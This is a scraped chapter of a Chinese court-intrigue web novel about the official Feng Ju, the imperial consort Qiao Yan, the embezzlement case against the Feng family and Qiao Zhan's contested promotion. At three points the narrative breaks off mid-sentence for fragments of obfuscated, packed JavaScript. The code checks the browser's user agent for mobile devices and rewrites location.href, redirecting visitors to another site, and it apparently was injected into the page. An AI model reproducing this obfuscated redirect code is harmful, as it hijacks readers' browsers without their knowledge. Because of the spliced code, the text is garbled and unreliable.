董玉莲吓了一跳,不仅是他,冯矩的这一声认罪落下,满屋子鸦雀无声,好几个曾与冯忱交好或仰佩其为人的官员猛地抬头,对冯矩怒目而视。 乔燕倏地闭上了眼,眼角有一点濡湿。 首辅束继文气得满面涨红:“冯矩,你可想好了!” “阁老不要动怒,”满屋子最镇定的或许只有林元海了,他和气地道,“大家聚在这,不就是为了议冯家之罪么,既然冯矩认下罪,那一切都好说了。” 盐运司归户部管,这次贪墨一案被揭出来,牵连了大大小小无数官员,连户部一位侍郎都被砍了头,并且到现在为止,去年一年的账都没能抹平,在场官员里,户部尚书是最想查清这一案的。 林元海话音一落,户部尚书就迫不及待地开了口:“太傅说的在理。这次盐运贪墨一案,户部账册遭清算,才发现账记得有问题,去年一年整整少了二百万两白银,诸位大人,咱们今天在此议事,还请记着自己的身份,只为圣上分忧,争取早些把这笔银子找出来。” 文景帝眼睛不睁,只道:“问。” 董玉莲定定神,开口:“冯矩,盐运司贪墨的二百万,被你们冯家藏哪里去了?” “我不知。” “你身为冯家人,冯忱独孙,会不知?”董玉莲冷笑,“我看你是御前妄议,该杖二十。” 这是大齐律的规矩,往常也不是没有当庭杖人的例子,是以文景帝并未有异议。 唯有乔燕脸色微变,林元海老神在在地束袖端立,却也在此时不忍地皱起了眉。 董玉莲上来便杖,毫不给冯矩开口的机会,有些太急了…… 门外进来两个太监,一左一右拽住冯矩胳膊,就要把他拖起来。冯矩忽然抬头,直视着文景帝的脚尖的方向,“罪人冯矩有话说。” 文景帝抬了抬右手手指,董玉莲意会,不得不止住太监的动作:“什么话?” “在受杖之前,请圣上准矩状告东厂!” 又是一块巨石砸入水面,在洗心殿翻起惊涛骇浪。 乔燕终于忍不住看他,却只见他神情苍白平静,像是早已将生死献祭于当庭。 不等文景帝开口,一旁的工部尚书抢白:“一桩事一桩毕,稍后再议。” 刑部尚书皱着眉,冷冷地道:“稍后议什么议,无辜百姓告御状尚要敲登闻鼓,受五十杖,他乃戴罪之人,如何能这般信口直言,法理何在!” “在理,”文景帝终于开了口,“冯矩,你与东厂有宿怨在前,你的状,朕不想听。” 语罢,他动了动手指,董玉莲无声地松了口气,示意左右:“行刑吧。” 乔燕忽然低低地开口:“圣上,妾有些不适,想先行告退。” 文景帝看了她一眼,见她脸色发白,没什么血色,只当她被这番阵仗吓到了,没有为难,摆手允了。 乔燕却行至侧门,一出门,立马转身加快了步子,正巧赶上董治盯着人押冯矩至台基下的空地上。 “董治!” 董治还站在台基上,闻言回身,笑着行了个礼:“奴婢有事,乔娘娘有什么吩咐旁人吧。” “我身体不适,要你送我回宫,旁人我不放心。” “娘娘……”董治笑里透了点不耐烦,他这儿还有干爹的差使要做,哪儿腾的开身应付小姑娘。 乔燕盯着他,冷笑:“怎么,现在主子都唤不动奴婢了吗?” 说着,走近一步,用只有两人听得见的声音道:“我这是在救你。” 董治一凝,仿佛没有听见,盯着远处的太监放倒冯矩,提着棍子。要死要活,就等他“示下”了。 乔燕顺着他的目光看去,只见冯矩无声息地趴在长凳上,脸侧向另一边,乌黑的发有些凌乱,透过白色中衣,几乎可见嶙峋的肩骨。 只看了这一眼,乔燕就逼自己移开眼睛,只盯着董治,继续道:“圣上要他开口,要那二百万,他如果这时让你杖死了,圣上发怒,董玉莲真的保的住你吗?你一心为董玉莲办事,他却只把你当趁手的刀。你送我回宫,任他们打,打死打活都不关你的事,回头董玉莲也怪不到你。” 说着,乔燕提高了音量,神情跋横:“送我回宫,不过一个奴婢,连主子的命都不听吗?” 董治心思急转。 刚才出来前,董玉莲将手里的拂尘换到了左手,这是要他“死杖”的意思。但乔燕说的对,若文景帝发起火来,这火只能冲着他来。 而他若跟着乔燕离开,没有他给的“暗示”,这群人不敢下死手,到时候二十杖下去,也不过只是皮肉伤。之后干爹肯定要怪罪,但他有因缘在前头,尽管推到乔燕头上就是。 这些念头不过瞬间就在心里过了一遍,董治一咬牙,有了决断,低头躬身,道:“奴婢这就送您回去。” 一整天,乔燕枯坐廊下,看着四方天空,静静等着那人的结局。 细数短暂的今生,本以为入宫后与他再不相关,却不想命运反而更为紧密地交缠在了一起。 天色暗了,尚食局送来饭菜,又原封不动地端走。乔燕一动不动,终于在晦暗里等来两盏橘黄的灯火。 乔燕猛地站了起来,来到院中。 唐直抒引着林元海走来。 隔了七八步,唐直抒就止住了步子,熄了灯站在如意门外。 “乔娘娘。” 林元海走近,对上乔燕期待的眼神,微微一笑,忽然往旁边让了一步。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16998453|193889||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 身后阴影里垂首立着一人,那人自斗篷里伸出苍白枯瘦的手,缓缓揭落斗篷的帽子。 乔燕的心疯狂地跳动起来。 “让他自己跟您说。”林元海道。 乔燕回过神,惊喜之外难免生出忧虑:“这不碍事么?” “我有我的法子,”林元海看了眼不远处的唐直抒,“只是时间不多,须赶在落锁前离宫。” 乔燕终于看向冯矩,有许多话想说,然而他们的身份在这,大多不能说。 “娘娘。” 倒是冯矩先动了,他蹒跚地走了一步,深深一揖:“谢娘娘为我谋划。” 乔燕却慢慢收了笑,自嘲道:“我要你活,其实和他们逼你死没有任何区别,我们都在全自己的私心,不必谢我。” 冯矩本有其他话要说,然这脱口而出的“私心”二字,却宛若滚烫的刑烙,一下摁在了他的心头,留下剜心的痛。 一身罪业,自陷深渊,却还有人一心要他活。 很难描述当他意识到这点时的心情,他只知道,他的勇气来源于此,这条路荆棘遍地,全靠这点勇气支撑着他前行。 今日入洗心殿,他一眼就看到了她,衣衫华贵,立于高台。 那一瞬,他想把自己藏起来。 这些剖心之言,他却不能说,只怔怔的,慢慢地摇了摇头。 乔燕苦笑:“你今天当庭要告东厂的状,谁都看得出来,你是存了死志的。” 冯矩道:“这话是林太傅教我的。” 乔燕看向林元海,林元海道:“说来无人知,圣上于上个月,命我秘密接回二皇子,如今就在西苑的问天观内。” 这又和二皇子有何关系? 乔燕怀着疑惑听着。 “我就长话短说了,二皇子是冯老的学生,与内阁走得近,六年前因祸被圈禁,内阁没了这棵大树遮挡,才被东厂一步步压着到这个地步。如今董党一家独大,未必是圣上愿意看到的,圣上瞒着董玉莲解禁二皇子,恐怕……” 说到这里,早已喜怒不形于色的林太傅也忍不住露出了些许激昂。 他平息了少顷,方继续道:“此前冯矩拜入董玉莲门下,都以为他是董党,今日借此机会便是要告诉圣上,他与董玉莲并非一心,是圣上对付董党的可用之人,如此一来,我为他求情也容易一些。” 乔燕感慨:“您用心良苦。说起来,我走后,那二百万两议得如何?” “和娘娘想的一样,圣上他老人家让我们回去后再议,三天内将这笔钱找出来。圣上这是给了最后的脸面,有人当然要把这笔钱拿出来。” “那冯矩呢?” “还是如之前说的一样,待银子拿出来,案子了结,官复原职,等养好伤便可随我回翰林。” 乔燕皱起眉:“他的伤……” “都是皮肉伤,”冯矩接过话,“过一段时间就好了。” 乔燕还有很多想问的,但她发现无论怎么问,都会揭开冯矩的伤疤,于是全都咽了回去。 林元海等了一等,见他们没有什么要说的了,于是对冯矩道:“子规,你去唐公公那儿等我。” 冯矩依言离开。林元海注视着他的背影,叹了口气:“娘娘,你也看到了,他如今全凭一根线吊着。今日救他,我竟说不好是错是对,看他活着,我反而觉得生了罪。” 乔燕苦笑。 林元海一拱手:“时辰不早了,娘娘早些歇息。” “等一下。” 乔燕朝廊下招手,宜婵立马拿着东西走了出来。 “秋夜风寒,太傅戴上这幅袖筒和暖耳,夜路走起来也暖和些,”乔燕又拿起另一套,“这是给冯矩的,我就不过去了,劳您带给他。” “娘娘不过去是对的。” 乔燕沉默地凝视着冯矩的侧影,忽而松了胸腔里的那口气,“您一路小心。” 10. 二郎 乔燕放下手里的题本。随行太监一人接过题本,另一人递来盛着温水的瓷盏,乔燕就着杯沿,无声地吞咽了一下。 这点水还不够润嗓的,但冒烟的喉咙好歹受到了些许抚慰。 寅时起惯是文景帝批阅奏疏的时候,日头渐短,正殿宽阔,总有穿堂风过,文景帝畏冷,便搬到了旁边的暖阁里。 入秋不久,炉里已燃起了银丝炭。 屋外星子尚满天,一应协理政务的人已在屋内落座。而就在内阁一侧的末位,坐着一个本不该出现在此的人——冯矩。 首辅束继文为此已经气得递了一次辞呈,被文景帝驳回。束继文不肯入宫,只得暂时由次辅温却疾补上。 温却疾对这个年轻人亦不满,但他的性子没有那么刚强。且冯矩是由林元海推荐,文景帝首肯,以翰林修撰身份旁听于此,于公于理,都没有反对的地方。 乔燕刚刚读完的题本乃福建巡抚所陈,奏报广东总督田光珍开海一事。朝廷对海外贸易格外重视,在田光珍的推动下,广东市舶司组好船队,首次出海,谁料竟遇风暴潮,十死无归。 这一趟,算上七艘宝船,损失足有三百八十万两。 文景帝面露不虞,“朕看田光珍这总督也是做到头了,还有市舶司的总管太监,一起拿了入京问罪,温卿,这案子就交给都察院审理。这样大的罪,内阁票拟竟想大事化小,朕只饶过这一回,再有下次,按朋党处置。” 温却疾不敢说话,闷头提笔写下新的票拟,由小太监交给司礼监代掌印董治。董治拿起手边的印章,小心按下,乃“准”一字。 文景帝敲了敲椅子的扶手,问:“福建总督一职由谁担任好?” 堂下人自眼风里互相张望,一时竟无人开口。题本乃文书房分拣后送到皇帝手上,那这议事过程,董玉莲那边应该早有打算,可是内阁这边等了片刻,司礼监那头竟全都一声不吭,从未有过的安静。温却疾心里暗暗纳罕,更打起了精神,斟酌道:“一省总督乃系家国大事,轻忽不得,不如先由巡抚王涯兼任,待后再慢慢堪选。” “照准。”文景帝又问道:“年初户部开给浙广两省的市舶司的预算,还剩多少?” 温却疾兼任户部尚书,闻言答道:“回圣上,市舶司本打算通过海贸挣回白银,年初报了三百万的预算,如今已然亏空八十万。” 文景帝沉默片刻,说道:“海贸风险太盛,如今国库吃紧,等到了冬天,还要防着北边鞑靼进犯,开海之事,姑且停下,日后再说吧。” 温却疾张了张嘴,又闭上了。 文景帝道:“继续议事。” 乔燕才歇这一会儿,就又拿起下一篇文书,翻开折子,看到抬头,心头浮上些无奈。 “臣罪臣何舂请以江宁织造提督太监刘敬罪状以告之……” 何舂又来弹劾司礼监的人了。 文景帝听完,连眼皮子都没动弹一下。乔燕深明圣意,将奏疏递给身边的太监,太监送到堂下,董治印下另一枚印章,乃是朱红的“驳回”。 乔燕拿起下一封奏疏,揭开薄册的硬封,端正的行文映入眼帘,她的动作微不可察地一顿,几乎是下意识想看向冯矩的位置,好在理智尚存,克制住了。 这封题本由东厂、锦衣卫、刑部、户部共同署名,文末的印章就印了差不多一整页。 冯家贪墨案的二百万两“找”到了。在江西冯家祖宅找到的。 空旷的大殿里,众人沉默地坐着,唯有女子清亮的声音。 在场这么多人,其实谁都知道这样冠冕堂皇的话下,掩盖着多么肮脏的真相。 但是文景帝不在乎,这个王朝最高的掌权者不在乎。他只在乎一直和他作对的冯忱有没有死,只在乎最后能不能拿到这笔银子。 于是这样的指鹿为马,摇身一变成了最明目张胆的阳谋。 而这其中的递刀人,竟然是冯忱的亲孙子! 多么荒唐。 随着最后一个字节落下,几乎所有目光都落在了末尾的年轻官员身上。处在目光中央的人垂着眼,古井无波,对这一切似乎置若罔闻。 他的这份淡漠,在有的人心里轰的化成升腾的怒火。 “冯矩!” 拍案而起的是温却疾手边的翰林官员,他看起来还很年轻,因愤怒而脸色涨红。 在他说出不该说的话之前,温却疾按住了他的肩。 “坐。” 翰林官员僵在原地,不肯坐下,似乎这一坐下去便代表着先低了头。这一刻,他从怒火里不自禁地生出一股豪迈与慷慨,双手扶上了头顶的梁冠。 这个动作一出,直面他的董治露出了惊惶的神色。 整洁的衣冠不外乎是齐朝士大夫的第二条命,当他们去衣除冠时,往往只有一个含义——他们准备豁出这条命了。 幸好幸好,在他脱冠之前,温却疾猛地加大了手劲,他不设防下竟真被拉坐了回去。 “晨议未完,你还站着干什么!我知道你急着去束阁老家里探病,但这是在御前,做事前要三思。”温却疾喝道。 有些事讲究的是一鼓作气,那一口气没了,要再提起来是很难的事。 翰林官员咬着牙,到底忍了下去。 董治这才似找回了一口气,抬起袖子擦了擦额头,回想起自己方才的表现,不由有些恼羞成怒,故意激道:“我看宋大人像是有话要说。” 温却疾不睬他,面向上首:“圣上,晨议未完。” 隔着香炉,一直不作声的文景帝这才道:“既然银子有了,工部也该做事了,着钦天监算一下,在雨季前将皇陵修好。” “是。” 松了口气,温却疾这才有工夫朝冯矩那里瞥了眼,只看到一脸平静。 从前冯忱任首辅时,行事有些不留情面,下过温却疾的面子,二人不太合。但此时此刻,想到冯忱枉死,而他的孙儿淡漠至此,温却疾心里不由也生出一声哀叹。 文景帝也朝冯矩看了一眼,心中不喜,故意说道:“冯矩,你大义灭亲,功不可没,朕要嘉奖你。” 冯矩出列,跪地叩首:“为圣上分忧乃为臣本分,微臣不敢要赏赐。” 文景帝淡道:“之前答应过,此案既了,就让你官复原职。从今天起,你就回翰林院好了。林太傅,朕把人还给你了,你多费点心好好指教,别的不说,孝悌忠义,总得占两样。” 林元海出列称是。 文景帝看向董玉莲,神情淡淡的,声音也不辨喜怒,“这回的案子拖了这么久,朕看来看去,都是因为东厂的奴婢不够尽心。都是朕不够体恤,没有想到董大伴也一把年纪了,还要兼管两司的事务,这才有所疏漏。你日后还是做回司礼监掌印,东厂提督就交给唐直抒。” 声音传到堂中,董治眼前一黑,刷的抬起头,扶住桌子。香炉后董玉莲低低地应了一声是。 散会前,文景帝又想起一件事:“户部右侍郎一职还空着,可有廷推人选?” 廷推本该由内阁首辅主持,但最近束继文和皇帝闹得厉害,正罢工着。温却疾心里暗暗叫苦:“还未曾。” 文景帝不快:“一科堂官怎能一直空着,还不快点。” 温却疾硬着头皮开口:“元辅病休在家呢。” “那就由你这个次辅主持!” 说到内阁成员,文景帝又想起:“内阁现今仅有两人,不如趁着廷推将入阁的人选也议一议。” “是。” 既然皇帝都在催了,当天下午就由温却疾主持,在文渊阁开了廷推。 参与人员除了六部堂官,还有大理寺卿、左都御史、通政使、国子监祭酒等官员。林元海作为三公之一也应邀前来。 从站位来看,这些文官大致可以分为两派。 以刑部、工部、吏部等衙门为首的官员,官升至此,多少都曾走过董玉莲的门路。其他文官,则以内阁为首,报团取暖。 两者之间泾渭分明,林元海最后一个推门进屋,眼皮子抬了抬,慢慢站到了正中间。 今日要推选的两个职务都是朝廷要职,双方磨了一下午的嘴皮子,最后定下三个户部右侍郎的备选人员,和五名内阁备选。温却疾起草亲笔写了制对,当夜就送进了宫里。 清心殿的地龙一入秋就烧了起来,殿内热气蒸腾。 文景帝刚浴完发,赤脚坐在床边,拿着文书,举到远处,眯着眼看着上面陈列的名字及相关资历。 看着看着,他的面色没有什么变化,心底却升起一股烦躁。 关于户部右侍郎廷推的三个人选,一个是董玉莲的门生,一个是束继文的学生,还有一个看起来与两方党派都无关联,却是凤阳府知府钱毋的连襟。而钱毋当初能任知府一职,还是董玉莲在他跟前举荐的。 据锦衣卫里的钉子密报,近来董玉莲胃口越来越大,让文景帝隐隐觉得不快。如果要平衡两方的势力,最好是选束继文的学生,拉内阁一把。 但提到内阁,文景帝一想到那群前赴后继跟他作对的文臣,又觉得心里膈应。 思来想去,偌大的朝廷,竟没有一个能让他满意的人选。 翌日晨议,温却疾开口询问文景帝最终定下的人选。香炉后面沉默少倾,开口时却是朝一旁的乔燕说的。 “乔氏,朕记得你有好几位兄长?” 这是入宫后第二次被文景帝点名。乔燕知道皇帝这是又遇到了为难的事,心里发苦,却不得不答:“是。” “说说。” 乔燕站得毕恭毕敬。 “臣女有四位兄长,次兄乔湛任翰林选侍。三兄乔仁是大伯的独子,和四兄乔翀都在国子监进学,准备明年的秋闱。” 文景帝盘算了片刻,皱起眉:“朕数着,怎么只说了三个?你的大兄呢?” 乔燕面露尴尬:“长兄谪去岭南已有六年……他性情狷狂,说来怕惹您不快。” 一个名字随着她的话浮上文景帝的心头。已经过去这么多年,想起这个人,文景帝仍然心里发堵,不由冷笑了一声。 乔家长子乔沅,少年状元,天资卓秀,文章风流。 六年前,问天观的道长得上天赐下一味仙丹,需要用处子之血练就,文景帝便诏阖宫上下,用真金白银换宫女们自愿进献。 文景帝自认已经做得很民主、很仁慈了,却不想还是在臣子之中激起滔天巨浪。他称病不见人,将相关奏疏留中不发,本以为忍一段时间便好,孰料那群文官见得不到回应,竟凑了百十余人,呼啦啦跑到承天门前撼门痛哭。 其中哭得最为积极的,便是刚钦点的乔状元。 那等场景,与国丧无异! 那几天,京城里流传的都是一代昏君怕是要殡天的消息。 文景帝气得七窍生烟,一怒之下让锦衣卫把能抓的都抓了起来,尤其是一枝独秀的乔沅,被他直接扔到了寸草不生的岭南,并放下狠话,有他在位一日,此人都不得离开岭南半步。 直到现在,想起乔沅,文景帝的心里都堵得慌。 旧恨涌上心头,文景帝咬牙问:“近来可有乔沅消息?” 每过一段时间,文景帝想起这位,都会有此一问。 董治抬头看向对面,见温却疾和身边几人都无开口的意思,只得道:“回圣上,迄今为止,通政司每月都会送来的乔县令的奏本。乔县令一如既往地哭诉抱负不展,壮志难酬,每日以酒解忧,郁郁度日。” 乔燕低着头,差点没崩住。 她这位大兄也是个人才,犯了事后才知道惜命,知道文景帝不想见他痛快,故意做出不得志的模样。 文景帝果然露出满意的神色,不在在此纠缠,语出惊人:“乔湛我有点印象,刚正不阿,年少有为,当年是我亲自授予的庶吉士,这等人才,为何不在廷推之列?要我看,他任户部右侍郎倒是正好。” 听他们一对一答到现在,温却疾心里早有预感,闻言还是一阵眼前发黑,忙道:“不妥!” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17002991|193889||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 何来不妥?” 温却疾避席跪地:“乔湛乃文景三十五年进士,入翰林不过五载余,从未到六部观政,经验尚有欠缺,怎能担此大任。” 文景帝淡道:“选官任贤,当不拘一格。不过安臣的顾虑也有些道理,这样,既然欠缺经验,不如就先由他学习一二。你们选的三个人里面,原礼部祭祀郎中费咏这些年功绩尚可,擢户部右侍郎,乔湛补上郎中的缺。” 费咏是束继文的学生。此言一出,廷中诸人面色都有变化。 能说出这句话,文景帝也算退了一步,温却疾见好就收,没有继续争下去。 文景帝又道:“朕还让廷推入阁名额,怎么没交上来?” 温却疾低头:“臣等商议过,没能商议出个结果来……臣不能使服众,遴选阁员一事,还是得元辅主持。” 一句话,温却疾表面上没什么异样,然而乔燕余光打量,看到他鼻尖上对着亮光的地方有一层汗。仔细一想,就明白了,如今内阁就他和束阁老两位阁臣,束阁老又称病不来,圣上跟前,可不只剩他一个人撑着。便是再镇定的人,一直面对圣上的问责,也会吃不消。 洗心殿事毕,乔燕带着宜婵慢慢步下踏跺。 温却疾从身后过来,乔燕忙避到一旁,微微垂首,极尽尊敬。温却疾却仿佛没看见,抬着下巴,目视前方地走了过去。 乔燕微微叹息。 内阁为首的文臣,面对她时多是这个态度。温次辅这已是好的,换成束首辅,每每还要拂袖冷哼一声。 “娘娘何必让他先行呢。”宜婵有些打抱不平。 “不怪他们,”乔燕说,“你别看他们这些人在我面前横眉冷眼,但是一国之家,泱泱生民,全都压在他们肩上,他们为天地立心,为百姓立命,是齐国的脊梁,我敬一下不为过。” 宜婵撇嘴:“总有一日,他们能看出您的好。” 乔燕没有说话。 宜婵看了看她的脸色,低声问道:“娘娘有心事?” “圣上要让二哥去礼部。” 宜婵不解:“这不是好事么,二少爷在翰林院待了五年,也是时候入六科参政了。” 乔燕摇摇头:“一开始,圣上开口要擢二哥任户部右侍郎,我不知道廷推的人选,但看堂中诸人脸色,二哥恐怕不在廷推人选之中。后来是温阁老反对,圣上才退了一步,让二哥去了礼部。圣上是故意的。” 故意把乔家推出来,推到风口浪尖,一来作挡箭的筏子,二来,乔家刚向皇帝表过衷心,站在圣上一边,把乔家的人安插进六科,能撬动抱成一团的文管集团,让皇帝松一口气。 宜婵倒吸一口凉气。 皇帝当然可以绕过廷推人选擢升官员,但这样升上来的官员旁人又怎会服气。更别提乔家因为送女儿入宫,还在被戳脊梁骨呢。 忽然有人自身后低低唤了一声:“娘娘。” 乔燕心跳霎时慢了半片,讶然回首,看到走在后面的竟是冯矩。 “乔娘娘。” 冯矩停住脚步,拱手施了一礼。 “不必多礼。” 乔燕只敢看他一眼,很快又转回头,直视前方,缓步徐行。 冯矩跟在她后面三四步远的地方。 “今日圣上提拔乔大人,您不必觉得恩重。乔家本来就有一位阁老,受牵连燕居在家,罚得其实重了,圣上今日此举,应有弥补之意。” 礼部素有“小内阁”之称,内阁的阁臣均曾在礼部任职。文景帝力排众议也要把乔湛塞进去,这个恩情乔家不得不受着。 乔燕没有回头,静了片刻,笑道:“我的脸色是不是不太好?” “是微臣唐突。” 乔燕摇了摇头,看向远处的天空,这才发现晴空如洗,一时觉得心胸也疏阔许多。 “不瞒你说,今日看到两位起居舍人运笔如飞,不知要怎么记我一笔,我心里确实不太痛快。有人特意跟我说这些,让我好受了一些。” 静了一瞬,乔燕又道:“今天这道旨意来得突然,圣意莫测,我二哥那个人过于清直……恐怕受不得这些。” 提到乔湛,冯矩一时也沉默了。 乔湛是冯忱的学生,和冯忱简直是一个模子里刻出来的,礼法为筋,纲常为骨,眼里容不得沙子,认定的事只会往前走,不说后退了,拐个弯都是折辱。 这道旨落在乔湛头上,直闯宫门拒旨都是有可能的。 说话间,已经走到了路口。乔燕看了眼出宫的路,停下脚步,面露踌躇:“你是不是要去翰林院……” “是。” 乔燕抿唇,说道:“我二哥现在应当还在翰林院,你如果见到他,能不能帮我带一句话。” “您说。” “旨意恐怕马上就到翰林了,也不知道还赶不赶得上。如果赶上了,你问他,个人荣辱和家族兴衰哪个更重要。” 说着,乔燕忍不住扭头,看向冯矩:“我是不是不该用这样的话逼他。” 冯矩轻声问:“您入宫时,是不是也听过这样的话。” “是,但与二哥无关,”乔燕眼睛有些干涩,用力眨了眨,“定下主意送我入宫的是父亲,也许也有大伯的授意,他们知道二哥和四哥不会同意,一直瞒着。四哥不同意是因为和我亲近,二哥不同意是因为这样做违心。” “外面都说乔四郎心性单纯,其实要我看,二哥才是最坦率的。你见到他,让他不要冲动,先回家听一听长辈的意见。” 冯矩又想起了自己的祖父。他们这种人,好像骨头天生就比别人要硬,心窍就比别人要直,在认定的道理跟前,血亲都要让步。 “您放心,我会劝他。” 他们停在路口时间有点久了,眼见有人路过,冯矩行了一礼就要告退。 乔燕看着他转过去的背影,心中不舍,脑袋一热,脱口喊道:“二郎。” 冯矩脚步一顿,眼眶发热,低低地道:“不要犯傻。”说完就走,不曾回头。 11. 痛喝 翰林院外玉河沿道,乔湛面沉如水地走着。他的怀中揣着一卷明黄卷轴,是才下来的擢升旨意,然而他并不为此欣喜。 随着圣旨的到来,流传开的整个廷议过程,一想起方才投向他的各色眼神,好像在说:他终于要依靠裙带关系高升了。那些嘲讽的、鄙夷的、不齿的眼神,令他浑身发抖。 没关系,他有办法辩白。 “乔大人。”身前不远的道路另一侧有人喊。 乔湛脚步一顿,听出来人声音,仿若未闻,继续向前走。 “乔大人……乔明澈!” 这一喝,乔湛下意识慢下了步子,从声音传来的地方匆匆走来一人。 “乔大人,你这是要去哪儿?” 乔湛动了动脚步,转过身看着来人,眼中难掩厌恶。他以为他们的情义早已断的干净,不知还有什么话好谈。 “关你何事?” 冯矩出宫后一路不停地赶向翰林院,不想竟巧合地在途中看到了迎面而来的乔湛。乔湛脸色黑沉,冯矩心道不妙,连忙出声唤住。 此刻被乔湛的眼神刺了一下,冯矩心中微微泛起苦意,却还是不闪避地迎了上去。 “看方向,你这是要入宫面圣。” 乔湛眉头拢起,显然不愿与他多说一句话,绕过他便要继续走。 “你要去拒旨吗?” 乔湛脚步不停。 冯矩不动,看着他的背影,问道:“乔娘娘托我给你带话,你听不听?” 乔湛豁然停住脚步,不敢置信地转过身,勃然大怒:“你们还有交集?!” 他的怒火不仅仅是冲着冯矩去的,更是冲着宫里的乔燕。 意识到这点的一瞬,冯矩心里腾的升起一股火。他为乔燕不值。 只是他还记着乔燕的嘱托,勉强按捺下争辩的意气。 “乔家好不容易才逃过一劫,走到如今这一步,你若入宫拒旨,惹怒圣上,置乔家于何地?” 从翰林院走到这里,乔湛已经短暂地思考过这个问题,闻言不假思索道:“家族兴盛固然重要,但这样的……” 他话说到一半忽然止住,盯着冯矩,忽然不知自己为何要跟他解释:“石可破而不可夺坚,丹可磨而不可夺赤。你懂这些吗?总有一日我会凭借自身的本事入阁,兴族建业,只是这些就不劳你费心了。” 说完,他不想再和冯矩多费口舌,转身就走。 他这样轻飘飘的态度,和宫里殚精竭虑的乔燕形成了鲜明的对比。 一瞬间,冯矩胸口里的那簇火腾冲而起。 “那五娘呢!” 冯矩猛走几步追上,一把扣住他的肩头,指节泛白。 乔湛一痛一惊,回头,对上一双泛红的眼,一时被摄住心神,怔在原地。 “你跟乔家靠着一个女子保全下来,转身又是满口的清名贞节,那她的不公又要怎么去算!乔湛,这就是你所谓的‘丹可磨而不可夺赤’吗!” 西北方刮过来一阵秋风,钻入衣襟和袖筒,转瞬就带走了身上的热气。 这劈头盖脸的一阵寒意,让满腔热血都凝固了。 也许只有短短的一瞬屏息,乔湛竟率先避开了眼睛。 不知是不是睁的太久了,乔湛一时觉得眼眶干涩:“她……娘娘让你带什么话?” 冯矩慢慢松开手,敛起方才的失态,只是眼圈还有些红。 “她让你接到旨意后先回一趟家,听听家中长辈的意见。” 乔湛沉默着。冯矩等了片刻,听他艰难地开口:“你和她……” “你不要看轻她。” 怀里的圣旨滚烫,几乎要把乔湛的胸膛烫出一个洞,人生快三十载,他从未有过这般不堪的时刻。 他忍不住后退了一步,然后转身就走。 “娘娘随侍御前,我今日有幸入宫旁听,这才在圣上眼皮子底下见了一面。”冯矩在他身后说道,“我不想跟你解释这些,因为我觉得,好像开了这个口,就真的落实了你们的不信任,就忍不住替她不值。” 乔家,乔父还在鸿胪寺的衙门,倒是乔广川,似乎早就收到了消息,乔湛一进门便有下人等着,被领着去了书房。 书房内除了乔广川,窗户下还坐着一人,身上绯色朝服没来得及换下,显然是刚从廷议出来就赶来了。 乔湛有些意外,提起精神对着那人行了一礼:“见过温阁老。” “贤侄不必客气。” 乔广川道:“坐吧。” 乔湛依言坐在乔广川旁边。 乔广川看了看他,倒了杯热茶递过去,“接到圣旨了?” “是。” “还知道先回趟家里,臭脾气倒也算改了不少。” 乔湛垂着眼,坦白道:“本是要进宫的,被乔娘娘着人骂回来了。” 乔广川笑了一笑,摩挲着手指,没有就乔燕的事多说什么,反是道:“我早就派了人守在承天门外,倒是多此一举了。” 乔湛有些疲惫,不想再听乔广川说一顿,“温阁老和伯父有事商谈,我要么还是先回避吧。” “不必,”温却疾道,“我来就是为了见明澈你。” 语罢,他将手头的厚厚的书册往前推了推,乔湛在他的示意下拿了起来。 书册已经翻到某页,纸张抬头写着:癸巳年八月廿一卯定,洗心殿晨议实录。 乔湛骇了一跳,看了眼封面,果见《文景年起居注》几个大字。 本朝设左右起居舍人,对立廷中,记载帝事于《起居注》。这个《起居注》一般官员不能看,更别提带出宫随意阅览了。 “这……” 温却疾知他怕什么,淡道:“不碍事,你看吧,就看我刚刚翻给你的那一页。” 乔湛目光落回纸张上,心绪纷乱,好一会儿才把文字看进去。 屋子里有些冷,乔广川没有喊下人,起身亲自揭开铜炉顶,把正燃着的炭拨了拨。 坐回座位,他又提起炉上的茶壶,倒了三杯热水,将其中一杯往温却疾跟前推了推。 乔湛看得很慢,尽管如此,这一页的内容也没有花去太多时间。他的目光流连在快结束的地方,那儿有这么一句话:上问乔氏,兄几何,乔氏曰四,乃次述,上悦,乔二以迁。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17006975|193889||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 这句话,大抵会流传后世了。 这正是乔湛的心结所在,但是现在亲眼看到,不知为何,他却没了搅动情绪的力气,只是静静地把书册放了下来。 乔广川问:“你看出什么了吗?” “伯父,您有什么话,请直说吧。” “请你来此,本意是要劝你接下这份差事,”乔广川道,“圣上的心思,不是乔贵人一介女流可以左右的,今早和内阁扯皮,目的就是要让你进礼部。圣上褫了我的官位,此举未尝没有安抚之意。” 乔湛看了眼一旁不做声的温却疾,淡道:“如今士林当中对我们家的声讨越来越强,我就算入礼部,也难以安心做事。” 